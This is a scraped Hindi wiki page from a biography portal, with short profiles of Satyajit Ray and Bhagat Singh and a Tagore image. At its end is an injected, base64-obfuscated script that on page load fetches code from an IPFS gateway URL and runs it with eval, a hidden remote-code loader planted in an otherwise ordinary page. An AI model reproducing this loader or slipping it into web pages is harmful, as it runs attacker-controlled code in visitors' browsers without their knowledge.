सदस्य:DrMKVaish

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
मुखपृष्ठ गणराज्य इतिहास पर्यटन साहित्य जीवनी दर्शन धर्म संस्कृति भूगोल कला भाषा सभी विषय
  • यहाँ हम भारत के प्रसिद्ध व्यक्तियों की जीवनी से संबंधित जानकारी प्राप्त कर सकते हैं।
  • किसी भी व्यक्तित्व के जीवन का वृतान्त 'जीवनी' कहलाता है।
  • भारतकोश पर लेखों की संख्या प्रतिदिन बढ़ती रहती है जो आप देख रहे वह "प्रारम्भ मात्र" ही है...

जीवनी साहित्य श्रेणी के सभी लेख

  • महापुरुषों की जीवनियाँ हमें याद दिलाती हैं कि हम भी अपना जीवन महान बना सकते हैं और मरते समय अपने पदचिन्ह समय की बालू पर छोड़ सकते हैं।
  • प्राचीन महापुरुषों के जीवन से अपरिचित रहना जीवन-भर निरंतर बाल्यवस्था में ही रहना है।
विशेष आलेख
सत्यजीत राय
सत्यजीत राय
  • विश्व में भारतीय फ़िल्मों को नई पहचान दिलाने वाले सत्यजीत राय का जन्म- 2 मई, 1921 को कलकत्ता में हुआ।
  • सत्यजीत राय 20वीं शताब्दी के विश्व की महानतम फ़िल्मी हस्तियों में से एक थे, जिन्होंने यथार्थवादी धारा की फ़िल्मों को नई दिशा देने के अलावा साहित्य, चित्रकला जैसी अन्य विधाओं में भी अपनी प्रतिभा का परिचय दिया।
  • कोलकाता के एक जाने-माने बंगाली परिवार में जन्मे सत्यजीत राय फ़िल्म निर्माण से संबंधित कई काम खुद ही करते थे। जिनमें निर्देशन, छायांकन, पटकथा, पार्श्व संगीत, कला निर्देशन, संपादन आदि शामिल हैं।
  • फ़िल्मकार के अलावा वह कहानीकार, चित्रकार, फ़िल्म आलोचक भी थे। सत्यजीत राय कथानक लिखने को निर्देशन का अभिन्न अंग मानते थे।
  • विश्व विख्यात निर्देशक सत्यजित राय ने सबसे ज़्यादा राष्ट्रीय फ़िल्म पुरस्कार जीते हैं। उन्होंने और उनके काम ने कुल 32 राष्ट्रीय फ़िल्म पुरस्कार प्राप्त किये।
  • भारत रत्न, पद्म विभूषण, दादासाहेब फाल्के पुरस्कार से सम्मानित सत्यजीत राय का 23 अप्रॅल, 1992 को कोलकाता में स्वर्गवास हुआ। .... और पढ़ें
चयनित लेख
भगतसिंह
भगतसिंह
  • भारत के शहीद-ए-आज़म अमर शहीद सरदार भगतसिंह का नाम विश्व में 20वीं शताब्दी के अमर शहीदों में बहुत ऊँचा है।
  • भगतसिंह का जन्म 27 सितंबर, 1907 को लायलपुर, पंजाब के एक देशभक्त सिख परिवार में हुआ था।
  • भगतसिंह ने देश की आज़ादी के लिए जिस साहस के साथ शक्तिशाली ब्रिटिश सरकार का मुक़ाबला किया, वह आज के युवकों के लिए एक बहुत बड़ा आदर्श है।
  • 1928 में सांडर्स हत्याकाण्ड के वे प्रमुख नायक थे। भगतसिंह अपने देश के लिये ही जीये और उसी के लिए शहीद भी हो गये।
  • 23 मार्च, 1931 को भगतसिंह तथा उनके साथियों (सुखदेव, राजगुरु) की शहादत की ख़बर से सारा देश शोक के सागर में डूब गया। .... और पढ़ें
चयनित चित्र

रविन्द्र नाथ टैगोर की प्रतिमा
रविन्द्र नाथ टैगोर की प्रतिमा

संक्षिप्त परिचय

साँचा:सूचना बक्सा राजनीतिज्ञ2

इन्हें भी देखें: महात्मा गाँधी, जवाहरलाल नेहरू, प्रेम चंद, इन्दिरा गाँधी एवं रबीन्द्रनाथ ठाकुर

जीवनी श्रेणी वृक्ष


संबंधित लेख



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>